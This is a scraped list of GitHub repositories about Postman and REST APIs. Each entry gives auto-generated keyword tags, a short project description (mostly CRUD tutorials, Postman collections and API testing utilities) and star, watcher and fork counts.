auth, authenticate, authenticates, case, data, endpoint, endpoints, exposes, query, reviews, util, utility, webapi 		The purpose of this code is to develop the Restaurent API, using Microsoft Web API with (C#),which authenticates and authorizes some requests, exposes OAuth2 endpoints, and returns data about meals and reviews for consumption by the caller. The caller in this case will be Postman, a useful utility for querying API’s. 1 stars 1 watchers 0 forks
todor70/students
data, database, relationship, student, todo 		Spring Boot REST API with H2 database, many to many relationship, Postman and HAL Browser 1 stars 1 watchers 0 forks
arjunagi/REST-Web-Service
data, service 		RESTful web service to handle(POST and GET) JSON data. 0 stars 0 watchers 2 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
shijiahu/face-recognition-api
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 1 forks
TheEvilDev/hapi-postman
collection, data, endpoint, exposes, hapi, meta, plugin, postman collection, test, testing 		Hapi plugin that exposes endpoint meta data as a postman collection for easy testing. 0 stars 0 watchers 1 forks
tutagomes/Postman-Testing
data, script, scripts, store, test, testing, tutorial 		A repository to store some data and testing scripts used by my tutorial about postman testing. 0 stars 0 watchers 1 forks
bitscooplabs/api-toolbox-intro
data, interacting, provider, tool 		A quick tour of interacting with "data providers" on the BitScoop API Toolbox using NodeJS, ngrok, Postman. 0 stars 0 watchers 1 forks
ChuckMcAllister/CyberArk-EPM-REST-API-Postman-Collection
collection, customer, customers, data, document, documentation, example, examples, list, pull, version 		CyberArk Endpoint Privilege Manager has a REST API for pulling data starting with version 10.7. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 0 stars 0 watchers 1 forks
ivastly/php2curl
command, convert, curl, data, export, import, imported, tool 		tiny lib to convert data from PHP request to CURL command. Then, CURL command can be imported into Postman with 1 click, so it is PHP to Postman export tool. 0 stars 0 watchers 1 forks
MaximizerSoftwareInc/maximizerwebdata-postman
collection, data 		A Postman collection for the Maximizer.Web.Data API. 0 stars 0 watchers 1 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
ravi-nrk/SpringBoot-Derby
data, database, embedded, operation, operations, test 		created simple SpringBoot Application with CRUD operations and used embedded database which is Derby. Used Postman to test REST Api's 0 stars 0 watchers 1 forks
rohitpaniker/droid_postman
android, data, library, server 		An android library to POST data over HTTP to any server very easily and flexibly. 0 stars 0 watchers 1 forks
supunlakmal/postman-to-markdown
data, export, markdown 		Convert Postman export (Collection v2.1) JSON data to markdown 0 stars 0 watchers 1 forks
codejamninja/mockgen
collection, collections, data, mock, postman collection, postman collections, swagger 		Generate mock data from postman collections or swagger data 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-zuul-api-gateway-server
cloud, convert, converte, converter, currency, data, database, gateway, server, service, zuul 		Zuul API Gateway Server Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
brankozecevic/php_oop_rest_api
api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing 		This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. 0 stars 0 watchers 0 forks
CarlosEduardoFerreiraRamos/js-postman-newman-csv-writer
collection, data, file, java, javascript, newman, postman collection, script, writer 		A javascript csv file writer, receving data from the newman api based on a postman collection 0 stars 0 watchers 0 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
Greg1992/mongotut
communicate, data, database, modern, mongo, package, packages, security, test, testing 		Server set up to communicate with a MongoDB database, using modern security measures to encrypt data. Used POSTMAN and Node testing packages (Mocha and Chai) 0 stars 0 watchers 0 forks
Harshrajsinh96/Crypto_APIs
action, blockchain, chai, crypto, currency, data, framework, setup, test, tested 		Created REST APIs for a blockchain crypto-currency where Wallet and Transactions entities were handled using SQLAlchemy mapper in Flask framework and the data was persisted in SQLite DB. Whole setup with GET/POST/DELETE request was tested on Postman. 0 stars 0 watchers 0 forks
IwanCole/SocketFire
data, test, testing 		Fire data at sockets and WebSockets. Think Postman RESTful API testing, but for sockets 0 stars 0 watchers 0 forks
KissKissBankBank/cloudwatch-postman
cloud, cloudwatch, data, proxy 		A Node proxy to post data to AWS CloudWatch and AWS CloudWatch Logs 0 stars 0 watchers 0 forks
markande98/RESTful-API
data, database, fetch, list, module, modules, mongo, mongod, mongodb, order, orders, product, service, services 		A RESRful service. A product can be post, update, delete in this api and list of orders can be fetched from the database. I have used mongodb as a database and postman services and a lot of modules in my api. 0 stars 0 watchers 0 forks
potaeko/Contact-Keeper-with-React
auth, authentication, cloud, course, current, data, database, route, routes, test, testing 		Contact Keeper with JWT authentication created with MongoDB Atlas cloud database, Express, React, Node.js (MERN) , JSON Web Tokens (JWT), Concurrently npm and testing routes with POSTMAN. Project from Udemy online course 0 stars 0 watchers 0 forks
regeanish/Mean-Hotel
client, data, database, display, form, format, hotel, information, play, playing, reviews, server, test, testing, user 		Created a Hotel API where user can add, delete, update hotel name and reviews using NodeJS(Express) and MongoDB. Used RESTful API HTTP client POSTMAN for testing. Additionally, building UI for displaying information coming from the server & database about the hotel using AngularJS 0 stars 0 watchers 0 forks
shasha131/Postman-Newman-API-Testing-FCOM-Test-Phrase-
data, drive, driven, file, sha1, test, testing, to do 		How to use postman/Newman to do data driven(large data file) API request and testing 0 stars 0 watchers 0 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
shijiahu/face-recognition
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 0 forks
ahmedmohamed1101140/laravel-api
data, docs, dummy, laravel, product, products, resource, reviews, source 		simple api app contains dummy data about products and it's reviews built using laravel api resource docs 0 stars 0 watchers 0 forks
anubhavg18/helloapi
data, mongo, mongod, mongodb 		Enter data to mongodb by postman requests 0 stars 0 watchers 0 forks
avidit/newman-reporter-datadog
data, description, newman, report, reporter, script 		No description available. 0 stars 0 watchers 0 forks
dingyuanxia/postman_data
data, description, script 		No description available. 0 stars 0 watchers 0 forks
evelynda1985/mulesoft-consume-soap-app
consume, data, mulesoft, soap, studio 		Consume soap data for add numbers. Tools used: mulesoft, anypoint studio, soap 5.5, postman... 0 stars 0 watchers 0 forks
fdmeregildo/webshop-back-config
config, data, database, docker, example, file, integration, readme, test, testing 		docker file, database file, integration testing, readme example, postman file, others 0 stars 0 watchers 0 forks
jainvarz/postman_data_driven_sample
data, description, drive, driven, sample, script 		No description available. 0 stars 0 watchers 0 forks
jchritton-qa/ri-postman-data-update
data, description, script 		No description available. 0 stars 0 watchers 0 forks
mich282q/Build_Node.js_RESTful_APIs
data, host, local, mongo, mongod, mongodb 		Man Kan viaer postman indsætte data i mongodb og få det vist på localhost 0 stars 0 watchers 0 forks
paramountgroup/RESTful-API-with-Nodejs
application, blockchain, chai, city, data, developer, framework, group, host, local, per project, private, program, retrieve, submit 		Udacity Blockchain developer project RESTful Web API with Node.js Framework by Bob Ingram. This program creates a web API using Node.js framework that interacts with my private blockchain and submits and retrieves data using an application like postman or url on localhost port 8000. 0 stars 0 watchers 0 forks
pbauzyte/postman_data_extractor
actor, data, description, extract, extractor, script 		No description available. 0 stars 0 watchers 0 forks
raghwendra-sonu/APIChainingInPostman
chai, data, http, https 		https://medium.com/@Raghwendra.sonu/postman-chain-api-requests-get-data-from-response-of-one-api-and-refer-in-another-api-d3bb184c2dd1 0 stars 0 watchers 0 forks
raghwendra-sonu/APIDataDriverTestingWithPostman
data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing 		https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef 0 stars 0 watchers 0 forks
ritika-shakwar/JsonData
data, json, test, testing 		created json data for testing postman 0 stars 0 watchers 0 forks
saraharless/postman-data
data, description, script 		No description available. 0 stars 0 watchers 0 forks
streamdata-gallery-organizations/postman
data, description, script 		No description available. 0 stars 0 watchers 0 forks
venkatesh-565/Pusing-data-using-POSTMAN
data, description, script 		No description available. 0 stars 0 watchers 0 forks
vmwarecode/Postman-Samples-for-Setting-App-Launchpad-In-House-Application-Metadata
data, description, script, vmware 		No description available. 0 stars 0 watchers 0 forks
vpapazov/mean-test1
data, mean, test, testing 		testing request/update of the data through postman. 0 stars 0 watchers 0 forks
zachmorse/TIY-week7-day5-project
data, database, route, routes, send, test, testing, week 		create an API for testing via Postman. Should send JSON directly from the database to postman via routes 0 stars 0 watchers 0 forks
5FMTB/Todo
connection, data, database, framework, list, local, modify, task, tasks 		API with local database connection (.NET Core, Entity framework). This project is a Todo list, where you can add, modify or delete tasks using postman. 0 stars 0 watchers 0 forks
aadilkashan/ApiCall-DEMo
data, fetch, fetching 		using Postman fetching data from dict. 0 stars 0 watchers 0 forks
AanshSavla/Wiki-API
data, database, form, platform, scratch, software, wiki, wikipedia 		This is a RESTful API built from scratch.It's similar to the wikipedia .It's made using NodeJS using ExpressJS . The database is created on a GUI platform called Robo3T . Request are made using Postman software. 0 stars 0 watchers 0 forks
acengberak/postman_api_database
data, database 		postman api 0 stars 0 watchers 0 forks
AdityaKshettri/CustomerManagement-with-Spring-REST-APIs-using-MySQL-POSTMAN
data, database, operation, operations, service, site 		In this project, we have created a Customer Management Website for CRUD operations using Spring REST APIs in Netbeans 11.3 using MySQL database and POSTMAN service. 0 stars 0 watchers 0 forks
AdrienneBeaudry/wieg16-curl
curl, data, general 		Learning curl, postman and general data manipulation 0 stars 0 watchers 0 forks
adsoftmar/RESTApplication
data, database, pluggin, server, tool 		REST Client = PostMan (HTTP tool pluggin from Chrom), MyTestDB = SQL database, Node.js HTTP server 0 stars 0 watchers 0 forks
AfzaalQALhr/Db-connectivity-with-postman
config, configure, correct, data, database 		is there anyway available for configured our database with Postman to assure our inserting values are correct. If response onlly containing response code 0 stars 0 watchers 0 forks
akanuragkumar/postman
data, developing, sets 		This Application can Listen to the Incoming GSM Events in Android Handsets and Automatically forwards those Events to the Configured API in the App,It Could be made Usefull for developing Apps that want to LIsten to Phones GSM Data and forward those data to some Web based Application. 0 stars 0 watchers 0 forks
akashbanginwar/Build-RESTful-API
chrome, data, json, store 		Using NodeJS, ExpressJS, MongoDB to store json data, Postman chrome-extenstion 0 stars 0 watchers 0 forks
aking27/FitnessTracker
account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users 		I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. 0 stars 0 watchers 0 forks
alexkmartinez77/startnow-node200-sequelize-workshop
api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop 		Using Postman and Express routes to run CRUD operations on Mysql database. 0 stars 0 watchers 0 forks
Ali-Ahmed-Khan/RestAPI-Post
data, database, form, format, information, method 		Connecting to a database. Using POST method to post information through Postman. 0 stars 0 watchers 0 forks
allusai/express-postman-node-api
data, database, express, node, source 		This is Node API to work with the Chinook open source database of musicians and artists over the centuries. 0 stars 0 watchers 0 forks
Alpttn/CoffeeShop
check, data, result 		Created an API with coffee data and used postman to check results 0 stars 0 watchers 0 forks
ambuyo/nodejs-mongo-authentication
auth, authentication, data, mongo, mongod, mongodb, node, nodejs, schema, validating 		validating mongodb data schema using nodejs and postman 0 stars 0 watchers 0 forks
andersonBrunu/Aprendendo-o-Basico-do-SpringBoot
banco, data, database, eclipse, learn, learning, to do, understanding 		Pequeno Projeto com SpringBoot com Jave usando a IDE eclipse. não contem front-end é apenas para o entendimento e começo de aprendizagem. usei o postman para fazer as requisições. possui integração com banco de dados MYSQL.. . . . . . . . . . .Small Project with SpringBoot with Jave using an eclipse IDE. does not contain front-end is only for the understanding and beginning of learning. use the postman to do as requisitions. Integration with MYSQL database. 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
andrey136/MongoDB-Express-Postman-Ninja-2019
application, cliche, data, database 		This is a cliche of how you should connect your application with the database 0 stars 0 watchers 0 forks
anthonygilbertt/Node-and-Express-App
application, data, send, sends, validation 		A Node and Express application that has built in data validation using Joi and sends requests via Postman 0 stars 0 watchers 0 forks
AreebaShakir/Initial-Tasks
collection, data, database, decorator, operation, operations, result 		Task#2 : Calculator Task#3: Calculator with inverse decorator Task#5: Inserting results of calculations into database and Saving last operations in a collection. Getting the results on postman. 0 stars 0 watchers 0 forks
arunrajachandar/covid
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
arunrajachandar/covidSrcCode
case, cases, covid, dashboard, data 		It's a very basic COVID dashboard with world map and datatable showing the recovered, death and overall confirmed cases country-wise. Front-end: React, Bootstrap | Map Component: React Geo Charts(Google API) | Data Source : Postman API 0 stars 0 watchers 0 forks
ash2042987/FINALProject
boot, data, database 		Postman, Spring-boot, database, Auth., Hashing, Salting 0 stars 0 watchers 0 forks
ash2042987/PROMINEOTECHFINAL
boot, data, database 		Postman, Spring-boot, MySqLdatabase, Repositories, Entities, Controllers-Social Media App 0 stars 0 watchers 0 forks
Atanyanta/Atanyanta.github.io
automat, automate, automated, correct, data, generate, github, postman tests, stat, test, tests 		Quickly generate automated postman tests to ensure data is static and returns correctly 0 stars 0 watchers 0 forks
atljoseph/api.go.josephgill.io
api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website 		This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
Ayorinde-Codes/RequestLogger
agent, browser, data, database, execution, logs, package 		A Laravel package that logs requests ip, agent(browser or postman), payload request, payload response, Time of execution and url in the database within any request call 0 stars 0 watchers 0 forks
ayuscode/GraphLearningAPI
data, database, environment, test 		A simple API with ASP .NET Core and SQLite database. Use the Postman environment to test API 0 stars 0 watchers 0 forks
beata-krasnopolska/TodoApi
class, controller, data, database, learn, method, methods, model, path, routing, tutorial 		The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. 0 stars 0 watchers 0 forks
BenDixon311/RESTful-CRUD-Node-Server
data, model, server, store 		NBA Roster Updater. I created this simple server using Node.js with MongoDB as my data store and Mongoose to model the data. Currently no front-end. Has ability to create, read, update, and delete through Postman. 0 stars 0 watchers 0 forks
BhaveshBangera/JWTApplication
access, application, auth, authenticate, authenticated, data, token, user 		This is a basic application built using Django-REST Framework. Here when a user is authenticated, he is provided a token (i.e. JSON Web Token) by the Authentication Server, with the help of which he is able to make an API Call to our Application. Our Application verifies the token and then only user gets access to API data. 0 stars 0 watchers 0 forks
ChristianHarms/postman2doc
data, document, generate, script 		A small script to generate a plain API document based on postman data 0 stars 0 watchers 0 forks
chuckpaquette/SMGR-REST-SIP-Entities
data, entity, returned, struct, structure, visual, visualization 		Postman code for visualization of the data structure returned by SMGR SIP entity REST request 0 stars 0 watchers 0 forks
darkwebdev/home-api
data, home, managing 		Smarthome API for managing data from sensors 0 stars 0 watchers 0 forks
data4development/postman-tests
check, collection, data, development, operation, operationa, stat, status, test, tests 		Postman collection of API calls to check the operationa; status of the DataWorkbench for IATI Data Quality Feedback 0 stars 0 watchers 0 forks
davids13/crud-spring-data-rest
crud, data, rest, spring 		DAO technique: SPRING DATA REST (w/ Spring Boot, MySQL, RESTful) 0 stars 0 watchers 0 forks
dawidpolednik/DelfinagramAPP
data, friend, library, posts, technologies 		Application which allows you to manage your own posts/friends/data. This APP was based on React library with React-Router-DOM and Redux. Others technologies used in this project: Material UI, Postman, SASS(SCSS), Netlify 0 stars 0 watchers 0 forks
deeep911/Java-parser-elasticsearch
data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets 		Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. 0 stars 0 watchers 0 forks
Detzy/03_storage
data, database, express, metrics, storage, store 		Nodejs app that can store metrics to a LevelDB-database, using express. Communicates mainly through postman. 0 stars 0 watchers 0 forks
diegomarq/diegomarq.github.io
data, database, framework, github, support 		Test API REST in PHP using Silex micro framework, Postman and MySQL as a support database technology 0 stars 0 watchers 0 forks
divyangjp/postman
crawler, data 		C++ web crawler and data miner 0 stars 0 watchers 0 forks
DJMare/express_Sequelize_RESTfulAPI_ParameterizedRoute
data, database, express, spec 		An express app connecting to mySQL database and implementing RESTful API to return specific id data from a GET request in Postman. 0 stars 0 watchers 0 forks
DJMare/express_Sequelize_RESTfulAPI_ReturnData
data, database, express 		An express app connecting to mySQL database and implementing RESTful API to return data from a GET request in Postman. 0 stars 0 watchers 0 forks
DJMare/express_Sequelize_RESTfulAPI_SpecifyColumnsToReturn
columns, data, database, express, spec 		An express app connecting to mySQL database and implementing RESTful API to return specific columns of data from a GET request in Postman. 0 stars 0 watchers 0 forks
DJMare/Sequelize_RESTfulAPI_ParameterizedRoute_HelperFunction
data, database, express, function, helper, parameter, parameterized, route, routes, spec 		An express app connecting to mySQL database and implementing RESTful API to return specific id data using parameterized routes and helper function from a GET request in Postman that returns JSON data. 0 stars 0 watchers 0 forks
DJMare/Sequelize_RESTfulAPI_Post
data, database, express 		An express app connecting to mySQL database and implementing RESTful API to POST to the database in Postman that returns JSON data. 0 stars 0 watchers 0 forks
ericdoomed/springboot-Jpa
boot, data, database, spring, springboot 		use h2 database, REST, postman 0 stars 0 watchers 0 forks
Fazaarycode/NodeJS-MLab
client, data 		Simple dataPull Push request app used along with Mlab + Postman . Use your own API Key for Mongodb client (db.js) 0 stars 0 watchers 0 forks
gayanherath/PostManDataProviderCSVCreator
data, file, python, script 		This is the python script that create the CSV data file that can be used to POSTMan 0 stars 0 watchers 0 forks
GeekMustHave/phi-hide
data, file 		phi-hide uses a Postman data file to change phi into unidentifiable info 0 stars 0 watchers 0 forks
girirajvyas/rakuten-ems-helpers
collection, data, helper, helpers, test 		Repository of the test data, Postman collection,.. for rakuten-ems 0 stars 0 watchers 0 forks
h2hdata/aa_network-analysis-route-inspection
advance, advanced, analytics, chinese, data, inspection, network, problem, route, spec 		This repository consists of POC created for advanced analytics domain. Problem is to implement network analysis for route inspection to solve the chinese postman problem. 0 stars 0 watchers 0 forks
hairchinh/postman-pro-github-
data, future, github, projects, resource, source, storage 		postman pro github . Postman data github resource storage: applied to projects across space & time back to the past of the future 0 stars 0 watchers 0 forks
HamadAli248/Databases-Demo
data, send 		Learning Databases and send,requesting data by APIs from postman 0 stars 0 watchers 0 forks
Heintzdm/SCM_API_Library
data, dump, including, library, progress, sets 		A work in progress library of SpringCM API calls in Postman. This JSON is data dump including Collections, Globals( w/out keys/ids), and Header Presets 0 stars 0 watchers 0 forks
iamwarning/message-api-with-nestjs
api blueprint, asyncapi, connected, data, database, form, json schema, message, mysql, nest, nestjs, oauth, openid, sql 		Simple API that performs a message CRUD connected to a mysql database using NestJS 0 stars 0 watchers 0 forks
IbrahimMSabek/mfpAdapterTester
active, auth, authentication, data, debug, debugging, docs, secure, secured, spec, test, web app 		This will be a web app that will act like Postman which aim to test secured IBM Mobilefirst 8 adapters with custom authentication specially that save and use data within active session as Postman basic authentication debugging detailed in MFP docs won't fit 0 stars 0 watchers 0 forks
ibrsp/dataentry-api-postman-collection
collection, data, postman scripts, script, scripts, usable 		A set of re-usable postman scripts for working with the Dataentry API 0 stars 0 watchers 0 forks
ifatimazahid/MongoDB-project
contained, data, database, includes, server, software 		This MongoDB project includes creating own API server through a software POSTMAN by the help of the data contained in the MONGO database. 0 stars 0 watchers 0 forks
ioniklabs/gravityforms-postman-addon
data, form, party 		Map and post form data to a 3rd party after submission 0 stars 0 watchers 0 forks
J-Nicholas/FirstExpressWebSite
college, data, databse, module, script, site, tabs, test, util, website 		This is a website I created for a college module in which we utilised Express, Node Js, Javascript, BootStrap, Ajax, for the site and MongoDB for the databsea and Postman to test APIs that we wrote. 0 stars 0 watchers 0 forks
JacquelineRP/SpringBootEssentials_Demo_Studients
backed, data, database, in memory, memory 		Spring Boot, Restful API backed up with an in memory database, Json, Dependency Injection Programming, HTTP Semantics, Get, Post, Delete & Put (Postman) 0 stars 0 watchers 0 forks
jeanalgoritimo/parcelamento
data, form, format, host, http, local, studio, visual 		Teste de Avaliação do Jean Silva para a empresa Ctis.Caminho da aplicação do Postman http://localhost:port/api/cadastro/CadastrarDados Padrao do dados a ser enviados { "numeroParcelas": 10, "Datas": "01/01/2018", "valorTotalCredito":10000.00 } O Valor totoal de crédito desse nesse formato acima com ponto antes das duas casas decimais e se o valor for acima de mil reais não colocar pontos.A data deve ser no formato dd//mm/yyyy e número de parcela de forma em inteiro.Programa foi construído no visual studio 2017 0 stars 0 watchers 0 forks
JohnLevchenko/BookCRUD
data, database 		This project with database on Postman 0 stars 0 watchers 0 forks
johnnadratowski/postman-repl
communicate, communication, config, configuration, data, interface, stat, user 		Postman repl uses IPython to present the user with an interface to communicate with APIs. It loads postman configuration data into global state, allowing for quick and easy communication with an API. 0 stars 0 watchers 0 forks
jwhorley/postman-iterate-data-collections
collection, collections, data, guide, setting, variable, variables 		A "how to" guide for setting up Postman Collection Runner w/ variables 0 stars 0 watchers 0 forks
KamilWysocki1990/GitHubSearch
application, browser, check, data, in browser, method, place, resource, resources, search, server, source, unit 		MVP||This application give u opportunity to search through repository in GitHub resources along with data to recognize owner of repository . It can also transfer us to the place where we can check chosen repository in browser. In app is implemented method in RxJava for handle bigger data flow which can help reduce time for waiting to get data on screen. Technlogoy used : Java, RxJava2, Retrofit 2, RecyclerView, MVP, ButterKnife, Glide, CardView, LifeCycleObserver, Architecture Components, Postman. 0 stars 0 watchers 0 forks
Kattiavmp/PostmanScripts
data, validation 		Scripts for data validation 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
kogden/serverless-mongo-database
data, database, function, functions, lambda, mongo, monitor, movie, server, serverless, trigger 		Uses AWS lambda trigger to POST/GET from mongoDB movie database. Uses Dashbird.io to monitor. Postman to call functions. 0 stars 0 watchers 0 forks
komalng/TuringChallenges
api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing 		This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. 0 stars 0 watchers 0 forks
laffingDragons/crudApp
client, crud, data, express, module, modules, node, rest 		Using node and express and various modules, using POSTMAN rest client manuplating Json data 0 stars 0 watchers 0 forks
Latika-bhuttan/ExpofMarshal-unmarshal
data, database, example, mars, marshal, retrieve 		this is example for retrieve data from database and marshal - unmarshal in postman 0 stars 0 watchers 0 forks
laudvg/Until-Sunrise
communication, data, database, implementation, model, models 		Backend project in Node, using Express, Mongoose for models and communication with the MongoDB database. Tools such as Passport, Postman, MongoDB Compass, Axios were used. API implementation. 0 stars 0 watchers 0 forks
leandro-zeballos/NodeJs
data, middleware, party 		Express based middleware returning data from a third-party API 0 stars 0 watchers 0 forks
legiahoang/apiai-sails
active, data, interactive, weather 		postman make a call to API.AI to interactive with weather intent (hook data from worldweatheronline) 0 stars 0 watchers 0 forks
letsdodatascience/directory-api
backend, boot, bootcamp, data, directory, odata 		backend for bootcamp api 0 stars 0 watchers 0 forks
LucJoostenNL/Programmeren-4-RESTful-API
assignment, data, database, local, route, routes, school, script, server 		In this assignment from school I have been asked to create a RESTful API with several routes. I used Node JS in combination with Javascript to create a local server that provides an API, and it persists through that API data in a local database. 0 stars 0 watchers 0 forks
luizclr/PostmanJs
data, graph, progress, search, struct, structure 		🚧 work in progress... 📬 A postman searching for the best way to work using a graph data structure in JavaScript. 0 stars 0 watchers 0 forks
magenta-aps/datafordeler-postman
